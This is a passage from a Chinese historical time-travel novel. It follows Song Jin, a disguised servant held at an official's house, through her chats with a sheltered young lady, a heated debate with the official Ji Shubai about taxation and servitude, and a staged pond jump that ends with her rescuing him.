“出海?”姑娘一双原本就很圆的眼睛瞪的更圆了:“我瞧公子......年岁也不大呀,怎的会出海?你不害怕么?”
宋瑾看出姑娘有些感兴趣,正好她无人说话,便敞开了聊。
“怕,当然怕了,那海上的浪被风一刮,能把整个船掀翻呢。”
“当真?”那姑娘倒吸一口凉气。
“可不是真的么?风一起,那船晃的,好些人都吐了呢。”
姑娘捂着鼻子,一双眼睛却离不开宋瑾。
“我们去了暹罗,暹罗你知道么?他们说话时总是萨瓦迪卡,那里临着海,我们还在海里游泳呢,海底可漂亮了,同儋州似的......”
宋瑾说起了擅长的事情来滔滔不绝,索性站起身来讲,从萨瓦迪卡讲到hello,从棕色皮肤讲到金发碧眼,愣是把一个姑娘讲到忘了时辰,直到外头一个声音传来。
“姑娘......姑娘......”
裴姑娘听见喊声,神色一凛:“糟了。”说罢起身便往外头跑去,就要跑出小花园时又转头来问宋瑾:“公子明日还在么?”
“应当在的。”
“那......若是奴家明日再来......”
“我继续给你讲。”
那姑娘露出一个灿烂的笑容,转身跑走了。
这一天季舒白没有回来,裴姑娘也走了,宋瑾一个人窝在院子里逛了又逛,最后无聊地瘫坐在花园里。
这种等着别人来发落的日子真不好过。
天色渐黑,日间看着十分古朴的中式建筑,到了夜间便成了中式恐怖,宋瑾昨夜睡的早,睡的死,没觉出这味道,今日细看,花园的小路都不敢走了。
宋瑾边往自己院子里头摸,边在心里头抱怨为什么不多挂些灯笼?
回了屋子,昏黄的烛光下越看越害怕,索性窝到书房里开始找书看。
原先她就知道这世界很流行《西厢记》,然而宋瑾没翻出《西厢记》,却翻出一本《忠义水浒传》来,于是趴在桌上翻看起来。
繁体,竖排,字挨着字,宋瑾没坚持多久便沉沉睡了过去,等醒来时天色已亮。
宋瑾摸了摸自己的脸,觉得像是做了一场梦,周围的一切都假的很,可是眼前的东西摸着又真实的很。她叹了口气,起身揉了揉麻掉的胳膊,抱着脸盆往前头找水去了。
一边洗脸一边想今日那裴姑娘似乎还要来,干脆给她做些好吃的。于是找陈妈妈要了些干玉米,一粒粒挑拣好了,白糖熬化了,慢慢裹上,再进油锅里头炸。
陈妈妈站在一边,听着那锅里砰砰砰地响个不停。
“你这作甚呢?”
“我做炮谷。”
陈妈妈哎哟一声:“炮谷是埋在火里的,你怎的在锅里?”
宋瑾笑着道:“我的法子与旁人不一样,您吃过便知。”
陈妈妈无奈,只得等她出锅,等炮谷出来后,她的第一反应不是去吃,而是看锅。
还好没坏。
嘴里正嘀咕着,宋瑾已经将一颗炮谷塞进了陈妈妈的嘴里,甜丝丝的,香喷喷的。
“好吃。”陈妈妈边吃边点头:“怎的做的?我家小主人爱吃甜的,你教教我,我将来做给他吃。”
宋瑾笑笑:“这可不成,我打算靠这个做生意挣钱呢。”
“靠这个?”陈妈妈捻着一粒炮谷翻来覆去的看:“我看成,比灰里埋的干净,更甜更香,也更好看。嗳,你在哪里卖啊?等你卖了我也去买,给我家小主人送去。”
宋瑾笑笑:“放心,我若是将来能卖,一定亲自给他送去。”
陈妈妈很高兴,宋瑾又讨了些茶叶,却不肯
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现在就泡,她要等裴姑娘过来。
一食萝的炮谷,一罐子茶叶,一个茶壶,两只杯子,宋瑾捧着去了后院的小花园。
这天上午,她就坐在花园的石凳上发着呆,打心眼里盼着昨日那位裴姑娘会过来,不曾想还真叫她等着了。
临近巳时时,一声“宋公子”将她的神魂招了回来,宋瑾转头去看,就见一个妙龄女子站在小花园的入口处。
一身海天霞色的衣裙,黑鸦鸦的缠髻上插了一只海棠绒花簪子,耳边的丁香玉坠子随着步伐轻轻摇晃起来,一下一下拍打着白皙的脸颊,叫人挪不开眼。
“裴姑娘?”可算见着一个能好好听她说话的人了,不像季舒白,她说什么都觉得是撒谎。
虽然有谎言,但真不怪她,她也不想穿越呀。
“宋公子。”
裴姑娘不远不近地施了个礼,宋瑾恭恭敬敬地回了个礼,四目相对,姑娘的脸一红。
“公子果然还在。”
宋瑾想,可不是么,你家那位季哥哥不放我走啊。
“姑娘今日是来......”宋瑾觉得这姑娘今日或许是找她来的。
那裴姑娘往石桌边挪了挪:“我来找季哥哥。”
撒谎,人都不在家,她来作甚,分明是来找自己的。
然而宋瑾并不拆穿她:“可惜了,季大人现下不在家呢,不如让在下陪着姑娘等吧?”
裴姑娘微笑着,算是默认了这个理由。
两人一并坐下,宋瑾提出去讨些开水来泡茶,一溜烟的出去了。
这一回她长了心眼,知道那姑娘不愿叫人知道她在后院与男子说话,便从厅侧面的廊下穿过去厨房,行至花窗时趴在上头一瞧,果见一个四十左右的妇人正坐在厅里,陈妈妈在一边陪着说话,她便悄悄溜走了。
厨房里灶上陈妈妈备了开水,宋瑾用勺舀进铜壶里便溜回了后院,裴姑娘正站在一株盛开的石榴花前发着呆。
“裴姑娘,我取了水来,一起泡茶喝。”
宋瑾泡了茶,将食萝往她那边推了推:“这个是我在外头学来的,他们管这叫爆米花,你尝尝,跟炮谷不大一样呢。”
“炮谷?”裴姑娘有些惊讶:“炮谷也不曾吃过呢。”
“啊?”
宋瑾猜测,这闺阁里的小姐,大约是不会吃灰里刨出来的东西。她打心眼里觉得这姑娘当真是温室里的花,又美丽又温柔,又对外面的世界一无所知,同时又充满好奇。
裴姑娘取了一颗爆米花,轻启朱唇,宋瑾直勾勾地盯着她看,觉得她吃东西的时候都与旁人不一样,格外缓慢,格外温柔,似是怕把那爆米花咬疼了似的。
裴姑娘察觉到宋瑾的眼神,略侧了侧身,用帕子掩着唇慢慢吃着,不惊喜,也不惊讶,只是脸色微红。
“好吃么?”
“好吃的。”
姑娘声音轻,宋瑾说话也跟着轻了起来,像在哄人:“那我下次还做与你吃好不好?”
裴姑娘垂首不言,也不再继续吃了。
“怎的了?不喜欢?那我换旁的,我会做的东西可多了。”
啪嗒啪嗒两滴眼泪掉下来,宋瑾慌了神:“怎的了?我......是在下说错话了?”
裴姑娘摇摇头,终于开了口:“我并不常出门,若不是因为母亲叫我来找季哥哥,我连家门也出不得,如今我已经连着来了两日,只怕再要出门也难了。”
“啊?为何呀?不是没见着么,你明儿再来。”
裴姑娘摇摇头:“你是男子,若是叫乳母知道了,定会告诉母亲的,到时候只怕我连这里也来不了了。”
“你季哥哥也是男子啊。”
“这不同。”裴姑娘站起身来缓缓道:“来见季哥哥是母亲和姨母的意思,可你不是季哥哥,你是外男,这不一样的。”
“你季哥哥也是外男。”
“他不一样的。”
宋瑾觉得整个世界都在偏心季舒白,可她偏偏不肯认输:“是不一样,你来见你季哥哥是母亲和姨母的意思,可你来见我是你的意思啊,当然不一样了。”
她要赢过季舒白,可姑娘却慌了神。
“莫要胡说。”
宋瑾乖乖闭嘴。
“我与季哥哥......我与季哥哥......”
裴姑娘沉吟半天也没说出个所以然来,宋瑾索性替她说了:“可是你爹娘想叫你嫁给你季哥哥?”
裴姑娘垂首,不承认也不否认,那便是默认了。
“可是你不愿意?”
这一回裴姑娘却摇了摇头。
完了,宋瑾想,还是叫季舒白那个空有皮相的老古板给勾了去。
“婚姻大事,自有爹娘拿主意,哪有奴家自己做主的份儿。”
声音里满是哀怨,宋瑾看出来了,人家就没想过愿不愿嫁这个事,只知道要听话。
“那若是叫你自己做主呢?”
“啊?”裴姑娘有些惊讶:“婚姻大事,岂可女儿家自行做主,岂非不孝,还......”
宋瑾猜她想说不守妇道,毕竟她都不见外男,哪里来的自行做主选择婚配对象呀?
“你平时都去哪里,做些什么呀?”
柏家是没有小姐的,但是在蔓草的记忆里文雅偶尔也会出门,会友拜佛,听书看戏,或者请进家里来,还是很热闹的,只是宋瑾穿过来后家中已经出事,她才消停了些。
“我不常出门,娘说了,这闺阁女子应当紧守本分,莫买命算卦,莫听唱说书,莫随会讲经,莫斋僧饭道,莫山顶进香,莫庙宇烧香,莫看春看灯,莫学弹学唱......”
裴姑娘一口气说出诸多个“莫”来,说的宋瑾头直点,心中惊讶她居然能记住那么的多“莫”,还严格遵守,怪不得见着她便脸红,给她说个故事,喜欢的跟什么似的。
好骗,好哄,这姑娘要是独自出了门去,她也担心。
可她,还是来见她了,一个她眼中的男子。
宋瑾心里清楚,规矩是规矩,心思是心思,这二十一世纪还鼓励三胎呢,本质是不生了,这大明王朝一堆的“莫”,本质是姑娘们不愿意守了。
谁也不是死的,大家的心思都活着呢。人间走一遭,谁不想多看看,多听听。
宋瑾便是那裴姑娘目前能接触到的最新奇的人,所以哪怕是违背心中原则,她也要冒险来见一见。
猜透了那姑娘心思后,宋瑾便邀姑娘重新坐下,替她倒茶邀她吃爆米花,自己则从擅长的地方下手。
这一日,她从琼英讲到花木兰,从狮子王讲到悬崖上的金鱼姬,那裴姑娘听得入神,顾不得吃,也顾不得喝,一双眼睛似是长在了宋瑾的脸上,直到一个声音打断了她。
“裴姑娘。”
声音冷淡,没有一丝感情。
64. 教训
宋瑾与那裴姑娘正说的起劲,季舒白忽然归家,冷声打断了宋瑾的滔滔不绝。
“季......季哥哥......”
裴姑娘的声音里带着一丝惧怕,起身后行礼后身子不自觉地往宋瑾这边靠拢。
宋瑾纳闷了,怎么两个人跟不熟似的,一个背后叫季哥哥叫的挺顺,面对面了反而喊不出来。而另一个声音冷冷冰冰,不带一丝情感,像是在叫一个陌生人。
她抬眼看去,就见季舒白一身官服,似是临时决议回来的。而季舒白竟也看向她,带着几分疑惑地上下扫了一眼后才缓缓转头看向那裴姑娘。
“你来找我有事?”
“我......姨母叫我过来看看季哥哥。”
声音轻的好似犯了错,宋瑾心里嘀咕,估摸是这季舒白拉着脸,吓着人了。
“现在看过了,我派人送你回去。”
宋瑾原以为这姑娘会拒绝,毕竟她是要见季舒白的,可是叫人意外的,那姑娘没有任何拒绝的意思,垂着头,乖顺地往外走去。
走至季舒白身边时,又停下了,转头看向宋瑾,满眼皆是不舍。宋瑾不知道她是不舍得故事,还是不舍得她这个人。
“裴姑娘,今儿先回去吧,我改日再给你讲故事。”
裴姑娘脸上露出淡淡笑意,转头遇着季舒白,又立刻收敛了。
“季哥哥,我与这位宋公子在后院里偶然相遇,说了会子话,可不可以......”
“我不会告诉伯母的。”
“多谢季哥哥。”
姑娘走了,小花园里顿时只剩下季舒白和宋瑾,宋瑾觉得氛围不大对。
“宋公子?”季舒白冷笑一声:“你假扮男人说谎的能力还真是叫人刮目相看。”
宋瑾听出他的阴阳怪气,毫不客气地回怼:“人家姑娘体贴温柔端庄大方,比起季大人,与她说话简直是享受。”
“享受?”季舒白上下扫了宋瑾一眼,确认这是个女人。
“裴姑娘虽不像季大人饱读诗书,但比季大人更具包容性,不像季大人,死板,顽固,冥顽不灵。”
季舒白平白又挨一顿骂,心中万分恼火:“我死板?我顽固?我冥顽不灵?”
“我说什么你都先怀疑一遍,又要问,说了又不信,怎么不是死板顽固?”
“你不看看你给出的那些理由,什么清虚天,什么高烧遇见神,说出去谁会信?”
宋瑾继续辨:“这个世界上就是有许多你无法理解的事情,比如太阳月亮都有光,可太阳光为什么是热的,月光却没有温度呢?为什么傍晚太阳落下去,月亮升起来,而不是早上月亮升起来,夜里太阳才出现呢?”
“因为太阳出现就是白日了,我看你是烧糊涂了。”
“那为什么是月凉如水,烈日杲杲呢?”
“你......”季舒白一时说不过她。
“裴姑娘就是这点比你好,我说什么她都愿意听,而不是首先怀疑我。她包容且尊重我,不会因为我衣着简朴就看不起我,也不会让我站着同她说话。”
“你没告诉她你家奴的身份吧?也没告诉她门口几个官差是来看着你的吧?更没告诉她你正在威胁一个朝廷官员吧?”
宋瑾被反问的一时答不上来。
“你连自己的身份都不敢说,她尊重你,到底是尊重你的什么?”
“尊重我这个人。”宋瑾一声大吼:“不像你,戴着乌纱帽走到哪里都被人尊重,我爹娘是奴婢,我生来就是奴婢,可那又不是我选的,谁不想选个好胎投啊?若是能选,我也想姓季啊!”
“你以为姓季,就会被人尊重么?你以为乌纱帽是那么好得的么?你以为不是奴婢就一定能顺风顺水么?”季舒白压低了声音,胸腔里憋着火气:“你不过是羡慕一个你不曾经历的人生罢了。”
宋瑾竟听出几分道理来,可她又不知道季舒白的过去,陈妈妈不愿意说,至于他自己嘛,那简直密码箱投胎,嘴巴严实的跟没长似的。
“那......那你也不说啊......”
“说什么?如果我没有你想象的那么好,你就不会这般陷害我了么?”
季舒白今日的火气不同以往,重要的是宋瑾略有些心虚,此刻紧张的揪住衣摆,小声嘀咕:“那......如今已经这样了,要不大人勉为其难帮我一下?”
季舒白气到无言,索性走至一边坐下:“帮你?你那么聪明,那么能干,为何不想法子自己帮自己?”
宋瑾继续嘀咕:“想了啊,办法就是季大人嘛。”
“你......”季舒白气结,“你简直无可救药。”
宋瑾还需要季舒白帮忙,此刻也不敢继续辩驳,只好站在那里不言声。
季舒白见她不狡辩了,脾气顺了不少,问道:“这两日你都与裴姑娘说了些什么?”
宋瑾老实回答,从馅在外头的大饼到用手抓着吃的饭,从暹罗的宝石到印度的香料,从天上的海鸥到山里的熊猫,宋瑾一口气说出诸多事情来。叫人意外的,季舒白这一回竟没有打断她,甚至偶尔露出了裴姑娘的眼神。
有惊讶,有羡慕,有不可思议,还有一丝疑惑。
话说完,季舒白缓缓起身走向宋瑾,就在她准备迎接季舒白的质疑时,忽然听他开口:“这些东西都是你在清虚天里见到的。”
宋瑾重重点头,不带一丝迟疑。
“你那些做菜的法子也是清虚天里学的?”
宋瑾依然是点头,就在她以为那些难以说通的技能终于叫她圆上时,季舒白又开始挤兑她:“关键的东西记错,不相干的事情却记得清楚。”
宋瑾有着天大的不满:“吃喝乃是人间大事,怎的在大人口中就成了不相干的事情。”
季舒白有些恨铁不成钢起来:“皇极乃是大中至正之道,你怎么读的?怎么到你口中便成了什么独裁专政。吃吃喝喝那般擅长,说起正事就开始歪曲胡扯。”
宋瑾眨巴双眼,反问他一句:“那陛下还说政务严切,事从宽厚,大人打算如何宽厚地处理小人这件事呢?”
季舒白冷哼一声:“本官自有定夺,你在这里好好待着,不要给我添乱。”
“我怎么就给你添乱了?”
“在我家后院扮做男子与闺阁女子畅谈还不叫添乱?”
宋瑾不满:“我
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可以不扮呀,可是大人要我如何同那姑娘解释,你后院里头住着个姑娘?我不是怕辱没大人名声么?”
“你还是担心担心你自己吧。”
季舒白说完欲走,宋瑾追着跑:“那大人打算几时放过小人呀?”
“本官几时说过要放你?”
“你没把我关在衙门里头的审问,不就是要放过我么?何必不承认。”
走在前头的季舒白听了这话猛然停住脚步,宋瑾紧追在后头,险些撞上。
“少自作聪明,相比较脱罪与脱籍,你更需要一个教训。”
宋瑾一听“教训”二字,嘴一咧,几乎哭出来:“柏家大奶奶真的给够教训了,我不需要了。”
然而季舒白不理,只说几日后便可离开,接着又要走,宋瑾紧追不舍。
“季大人,我数日不回食鼎楼,他们会担心我的,万一报官了......”
“我已经派人去传话,请你在我家做厨役,过几日便回。”
宋瑾继续嚷嚷:“大人,请我做厨役是需要银子的,您何必破费?”
季舒白脚步不停:“刚好,你那包银子还在本官手中,用你的银子请你来我家做厨役,正合适。”
“季!大!人!”宋瑾嚎叫起来:“那是我的银子!”
季舒白花的哪是银子,简直是她的命。
然而季舒白头也不回:“好好在家待着,若是还敢捣乱,定叫你一文银子也拿不回去。”
“季大人!大虫不吃伏肉啊!”
宋瑾站在天井中,脸上泪痕乱糟糟的,眼睁睁看着季舒白那顶官轿出了门去,顿时火上心头,扭头就往内院里头跑。
花她的银子?她高低要挣回来。
宋瑾把她住的那间小院翻了个遍,昂贵的衣服没有,珍贵的玉器没有,稀有的好墨没有。
宋瑾恶狠狠地骂了声穷鬼后,开始打起书架的主意来。
名贵的字帖,名家的书画那是一个都没有,宋瑾只好把视线对向那一层一层结结实实的书来。
书,应该也是很贵的吧?可惜了,她怀里揣不上两本。
宋瑾伤心不已,本来就觉得蔓草有点子惨,自己还被人软禁,如今又失了银子,好不容易来个漂亮姑娘说话,还叫他给赶走了。这一整天她心情都低落到极点,窝在后院廊下的美人靠上看着小天井里一株孤零零的茶花。
眼下茶花已经开到末期,泥土地上落了一片殷红,斑驳的墙面像是老化的宣纸,衬托的那山茶犹如古画一般,古典又凄凉。
天公也不作美,竟淅淅沥沥地下起雨来,宋瑾心中更是哀怨。
关于陷害季舒白这件事,真的是一点愧疚也没有了。
自那日后,宋瑾再也没有见过裴姑娘,心里不自觉思念起来。不是因为美貌,更是因为在这个世界里难得有个人肯好好听她说话,这让她有种融入感,好像在某个瞬间,她真的融入进了这个封建社会,没有被打压,没有被压迫,没有被剥削,就像个正常人一样活着。
相比较罗大人,与裴姑娘说话显然更加轻松,更加无拘无束,更加肆无忌惮,然而再也没有了。
她恨死季舒白了。
65. 破局
宋瑾在后院里生活的不大好,越来越不好,越来越闷,越来越怕。要不是桌子板凳叠起来也不够让她翻墙出去,她应该早跑到衙门里找季舒白去了。
陈妈妈请了医官过来看腿,教好好休息,又给了调养的方子,一天天吃着药窝在后院里,根本出不去大门。
看着院子里的雨,她怨念丛生,这种日子真是过够了。
这天上午好不容易天气放晴,她出了院子,坐在荷池边发呆。因着前几日接连下雨,湖水暴涨,舒张开的荷叶贴着水面,几乎将整个湖面填满。
就在她掰着手指头算日子的时候,季舒白的身影出现在廊桥的另一头,而宋瑾,连起身行礼的劲头都提不起来,就那么坐在石凳上,看着季舒白一步步走近。
她原以为季舒白会生气,然而叫她意外的,季舒白走近后露出一丝笑意,宋瑾看出轻蔑来。
“你可以走了。”
“走?”宋瑾不大懂:“走去哪里?”
“爱去哪里便去哪里。”
宋瑾更不懂了:“季大人莫不是忘了什么事?”
“我没忘,”季舒白在一边坐下,语调轻松:“你说的不错,那张纸不足为惧,既然不足为惧了,你也就拿本官无法。奈何不了本官的人,为什么还要留你在我家中?”
“你就不怕被人拾去?”
“你尽管送出去,无论给到谁,都不足为惧。”
季舒白眼神坚定,宋瑾却有些慌了神:“什么意思?”
季舒白轻笑一声:“你不是诓骗本官写下今年的殿试题么?本官虽不知你为何知道这题目,但是那张写下日期,按有花押的题目已经不足以对本官构成威胁......”
“申大人是你同乡,你又是首辅大人亲自提拔,今年的殿试状元还引起了争论,若是再有一个题目泄露的风波,就算首辅大人也......”
“不足畏惧!”季舒白终于对她道出实情:“如今苏州城里有那张题目的人没有百人也有几十人,都是本官亲自誊写,按有花押,作为各学子之间交流学习使用。至于日期,我故意在诸位大人面前写错,所以眼下苏州有多张殿试题目标注的日期都在三月初。”
他看着宋瑾,一字一顿道:“你有的,不过是其中之一而已,根本无法指认本官。”
宋瑾只觉得天塌了。
功亏一篑。
“你把我关在这里......”
“拖延时间而已,只要给本官几日的时间,便能布局完成,你不也是这么做的么?”
“季大人,我不过是想脱籍,想摆脱奴婢的身份而已,您何至于如此?”
“我何至于如此?”季舒白忽然大怒,一拍桌子站起身来道:“你心术不正,害我写下题目,威胁朝廷命官,还说只是想脱籍。你不想想一旦被人发现,会有多少人因此遭难,会有多少人被你牵连。如此种种,竟然还理直气壮。”
“不然呢?大人难道还指望我伤心难过自责不已么?”宋瑾得知一切努力付诸东流,终于不再忍耐,站起身与季舒白对骂起来:“我倒要问问大人,数年的寒窗苦读是为何?是为了头戴乌纱光宗耀祖,好方便你高居他人之上,享受你那进士特权,还是为百姓鸣不明,创造一片休明盛世?”
“本官自到苏州任同知以来,兢兢业业,虽不敢言有脚阳春,至少无愧于心。”
“无愧于心?大人说的真是好听。”宋瑾冷笑一声:“我没记错的话,大人掌管这苏州府的督粮税赋吧。自首辅大人进行税赋改革,推行一条鞭法以来,全国每年上缴的税赋增加了多少?我倒要问大人一句,这些银子从何而来?可是民间?可是百姓?百姓的口袋被你们扒光了,竟然还说无愧于心?”
“这几年税赋确实增加不少,可是上缴更多的是富绅地主,而不是百姓。”
“那大人倒是告诉我,为何这富绅地主会增加那许多税赋?富绅也是人,百姓也是人,为何富绅地主的土地一增再增,而百姓只能卖儿卖女,卖身为奴?一个种地的百姓为何连十几亩的田地都保不住,而根本不种地富绅地主却可以轻易拥有成千上万亩的田地?”
季舒白这辈子还不曾被人这样质问过,双眼已经气的发红,却不知该该怎么回答宋瑾的问题。
“大人不答便由我来替你答,因为你们官官相护,因为你们利用特权兼并土地,是你们这些饱读诗书,口口声声要为天下万民考虑的儒生合起伙来一步一步挤压百姓,让百姓流离失所,不得不卖身为奴以求生存。”
“你自己生而为奴便怨天怨地,却不想想自己行事的手段,本官不帮你难道是因为你家奴的身份么?”
宋瑾几乎跳起来:“难道只有奴才抱怨么?自打我来到这世界,再也没有见过比我家主母更强悍更泼辣的女子,可那又如何?夫主一死,只因她膝下无儿,便要去看族人的脸色,你觉得她不怨么?”
“大人身为男子,参加科举也好,在外经商也罢,总要好过我们女子。我替主母在外经商,还需扮做男子,每日小心翼翼,生怕被人识破,难道是因为我不想做一个女子么?”
“哪怕是裴姑娘那样的女子,长到这般大,怕是连这大街上的石板也不曾踏过几回。”
“原来你是怨你身为女子......”
季舒白得出结论,然而宋瑾并不赞同:“你说错了大人,我不怨我生为女子,也不怨我生为家奴,我怨的是科举不许女子参加,我怨的是为何要允许蓄奴,我怨的是为何我明明可以用银子脱籍,却偏偏被人刁难。”
“自打洪武皇帝登基以来,迁徙人口,开拓土地,百姓也算安居乐业,至少不必再受兵荒马乱之苦。可是如今呢?皇子受封,动辄上万亩土地的赏赐。我倒要问问大人,一夕之间从自己拥有土地的耕农变成租种皇家土地的佃农,换成是您,作何感想?”
宋瑾大段的质问与抱怨,季舒白却没有了声息,只有白惨惨的双唇在发着抖。
“大人,你到底是守护一方百姓的清官,还是巩固皇权的奴才,你想过没有?”
“税银,并不只是帝王家享受所用,”季舒白的声音又缓又颤,说的话似乎连他自己都不信,然而他却没有停下来的意思:“当初沿海倭寇战事不断,如今建州女真蠢蠢欲动,塞外土蛮又时刻觊觎,你以为那些税银只是用来享受的么?”
“我不知道这些,但我知道一点,一个人一旦获取到足够多的权利,他所想的第一件事便是巩固权利,而不是为他人谋利益。这是权利的诅咒,从古至今无一例外。我大明王朝,从人人都有土地到上万耕农失去土地,也不过百来年而已。这当中怎么能说没有你们的功劳,海大人为何至今不得重用?不就是不肯同流合污么,以至于连首辅大人都容不下他。大人也是进士出身,不知道看到今年的
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状元变成榜眼心中作何感想。几十年寒窗苦读终究比不过一个首辅的父亲。我猜,季大人你也很害怕吧?害怕丢了乌纱帽,害怕族人不再以你为荣,害怕给列祖列宗的脸上抹黑,害怕遭人唾弃,遭人排挤,害怕几十年的努力付诸东流......”
“够了!”
宋瑾的话像是一道雷击在季舒白的心上,那些暗戳戳的手段,他比宋瑾知道的更透彻。若说不曾亲眼见过耕农佃农的苦尚可睁一只眼闭一只眼,但对于萧良友的经历,不可谓不心痛。
寒窗苦读数十年,一朝扬眉,却要让位与人,从状元滑落到榜眼,谁能甘心?
“为官也好,为奴也好,男子也好,女子也好,谁人没有委屈?谁人没有难处?可又有几人像你这般不择手段。”他依然在为他们辩驳。
“大人是要我做个好人么?殊不知这做好人也是有条件的。我若是有钱,便广开粥厂,到处施粥,那些乞丐定认我为活菩萨。我若是深宅大院的主人,我一定善待奴婢,叫她们吃饱穿暖,让她们对我感恩戴德。我若是为官,也会想做百姓的青天。可是我能么?我没钱,还是个女子,我不能科举入仕,我自己还要靠别人的施舍才能存下脱籍的银子,如何去做别人的菩萨?我身为女子,身为奴婢,在这世界便只能依附他人活下去。大人那日没有杀我,我便认大人是个好人,可是我从头至尾都没有想过要杀任何人,大人会觉得我是一个好人么?”
“大人身为同知,明明可以做我的菩萨,助我脱籍,可结果呢?还不是撒手不管,逼得我不择手段。大人那日若是听了柴大官人的劝,我又何必出此下策,平白惹人厌恨。”
季舒白颓然地坐倒在石凳上,不知该如何去回答宋瑾的问题。
宋瑾深知这世界很难感同身受,她从996是福报的世界来到这蓄奴成风的世界,若是世人皆有同情之心,这些现象都不会存在。
现实是不论是二十一世纪的现代,还是十六世纪的封建大明,大家都没有那么多的同情心,尤其是既得利益者们,季舒白身边的青杉何尝不是一个奴呢。
半晌,季舒白从石凳上起身,也不说话,只是木然地往外走去。
“季大人......”
宋瑾发泄了怒气,眼下看着季舒白的样子,不自觉地放低了声音。
季舒白放过她是很容易的事情,收拾她更是容易的事情,可是眼下季舒白虽然有所动摇却一声不吭,宋瑾拿不定主意。
“你先留在此地,我还要回衙署处理公务。”
“季大人......”
季舒白不再言声,只是颓然地往前走去。
宋瑾心里发急,毕竟关了自己几日,季舒白就破了局,眼下她是一点优势也没有了,甚至很可能刚刚严重得罪了他。
“季大人......”
季舒白依旧没有回头,宋瑾心里慌乱起来,鼻头一酸,眼泪不争气地涌上来。
她不能再等了。
宋瑾扫了一眼周围,亭子外面便是荷花池,暴涨的湖水让池塘看起来像一张深渊巨口,宋瑾计上心头。
“季大人,是你杀死我的!”
季舒白正往外走着,忽听背后一句奇怪的话,待要转头看时,便听见扑通一声,平静的湖面上溅起高高的水花,一只纤细的手臂在水面挥舞了几下,渐渐沉入水底。
宋瑾跳湖了。
66. 尴尬
季舒白将宋瑾扣在家中,独自在外忙碌了好几日,彻底将宋瑾带来的威胁处理后,这才回到了老宅去找宋瑾。
他本想借着这件事给宋瑾一个教训,好叫她以后少做些会惹祸上身的事情,结果没说几句二人便争吵起来,自己更是败下阵来。
他活到三十岁,自认性格平稳,极少与人发生争执,与女子争吵还是头一回,可偏偏是这一回让他碰了个大钉子。
宋瑾眼看着一计不成,季舒白又微有动摇之意,只想着再逼一把或许便成成功,于是往湖中一跳,惊的季舒白脸都绿了。
“陆姑娘!”
季舒白掉头回来,几乎没有任何思考地跟着往湖中一跃,等人到了湖里才恍然发觉自己并不会水。
他奋力扑腾,企图让自己的双脚在湖底站稳,然而湖水暴涨,浮力使他的双脚根本够不到湖底。只见他整个人往后仰去,双臂奋力划着,却仍避免不了湖水淹没头顶的命运。
宋瑾自湖面消失后便下潜入水底,一口气游进了荷叶丛里才探出头来换气。本想着过会子漂出去吓唬吓唬季舒白,引起他的自责后再复活乞求,兴许事就成了。
然而让人没想到的是,季舒白没有丝毫犹豫地跟着跳了下来,一番扑腾后竟有淹死的迹象,宋瑾眼看着那个身子浮浮沉沉,就要被湖水完全浸没,不得不游出去救人。
季舒白视线被湖水彻底淹没,眼前的光亮越来越小,越来越弱,最后一口气吐出来时,他想一切都结束了。然而下一刻,一双手从背后卡住了他的腰,接着就被人从水底托了上来。
重见光明的第一时间便是贪婪的呼吸,能大口呼吸的感觉真好,脑海里不禁回想起宋瑾的那句话。
“我真是太想活着了。”
季舒白回过神来,转头看去,救他的人正是宋瑾。
“你......”
四目相对,场面略有些尴尬。
跳湖救人的人,被跳湖自杀的人给救了。
宋瑾咬着唇,不知道该怎么缓解当下的气氛,就见季舒白忽然转过身来。
“你为什么总是这样?”
宋瑾:“......”
“明明事情可以好好解决,你却总是要把事情做到无法挽回的地步来逼迫别人服从。你要脱籍,可以有很多办法来让我帮你,可是你非要威胁我,威胁不成你便跳河自尽,说是我逼死你的。你叫我要待你宽厚,可你又是怎么做的?”
季舒白顾不上自己人还在水里,红着眼训斥起宋瑾来,训到最后竟有些哽咽。
宋瑾也纳闷了,刚救完人就挨了一顿骂,一时竟没反应过来,呆了半晌终于听出潜台词来。
这人吃软不吃硬啊。
“季大人......”宋瑾眉间一蹙,脸上滑下的不知是泪水还是湖水:“季大人,奴家知错了......呜呜......奴家再也不敢了......”
“你......”季舒白没有料到一个女人的眼泪可以说来就来。
“奴家错了,奴家这就回去,就算主母将奴家打死,也决不再来打扰大人......”
“哗啦”一声,季舒白奋力将宋瑾往外一推,接着便是自己的身子不受控制地往湖下沉去。
不得已,宋瑾又捞了一回。
这一次季舒白气的更狠,一双眼睛死死瞪着宋瑾。
“不威胁人就不会说话了是么?”
宋瑾抿着唇不言声,季舒白生了气,身子更沉,她只好将人搂的更紧。
毫无预兆地,季舒白的脸通红一片。
“扶......扶我上去。”
宋瑾在湖中将季舒白的身子调了个方向,让他仰面朝上,这才托着他的身子往岸边游去。
季舒白先从水里爬上来,宋瑾则攀着石头,可怜兮兮地往上看。
两人对视着,一个实在愤怒,一个假装可怜,落败的总是季舒白。
“上来。”
他伸出手来,宋瑾抓住了。
水流顺着两人的衣摆往下直流,宋瑾默默拧着自己的衣摆,不肯再说话。
季舒白看着她噘嘴弯腰拧衣服的样子,于心不忍起来。
“你再呆几天,我会派人去柏家帮你要红契。”
宋瑾听了这话才抬起头来,委屈巴巴地开口:“季大人,奴家知道这次拖累了好些人,只是奴家真的没有想过要害你。”
季舒白没好气:“如今要害也害不着了。”
宋瑾这回真委屈起来:“其实那张纸,奴家当日回去便烧了,没人见过,所以无论大人帮不帮奴家,都不会害到任何人。”
“你......你怎的不早说?”
宋瑾却不解释,只是继续哀求:“季大人,奴家这回虽没有伤害到您,可是食鼎楼的伙计丫头们,一定牵连不小。奴家想求大人一件事。”
宋瑾小心翼翼地抬眼去看季舒白,还好这回没有瞪着她了,于是大着胆子道:“大人可否好人做到底,将他们一并带出来?”
季舒白沉默了半晌,叹息一声:“往后做事不要再这般冲动,就算不为自己考虑,也该为你爹娘考虑。”
“奴家知道了,多谢季大人提点。”
宋瑾和季舒白二人分开,各自回院,没多大会子青杉和陈妈妈就抬着热水过来了。
叫她感到意外的是,一同送来的还有一套新作的棉布衣裳。
“我家小主人说了,那件旧衣裳你穿着不合身,往后就换这件吧。”
宋瑾没多问,有衣服穿就行。
季舒白沐浴更衣后重新回了衙署,临走前只叫宋瑾在家安心等着。
宋瑾的心定了下来,然而这一定却定了个空。
不消两日,季舒白回了季宅,同时带来消息,丫鬟伙计要带谁走都没问题,唯独宋瑾,不能走。
“我让青杉去传话,说是喜欢你做的菜,想买下你来我家做厨役。原打算等你来了再将你放良,可是柴家的主母很反对,说是可以将你人直接送来,或者让食鼎楼做好了每日送来,无论如何不肯交出你的红契。”
宋瑾歪着头,像看傻子一般看着季舒白。
她太清楚季舒白的性子了,好人一个。
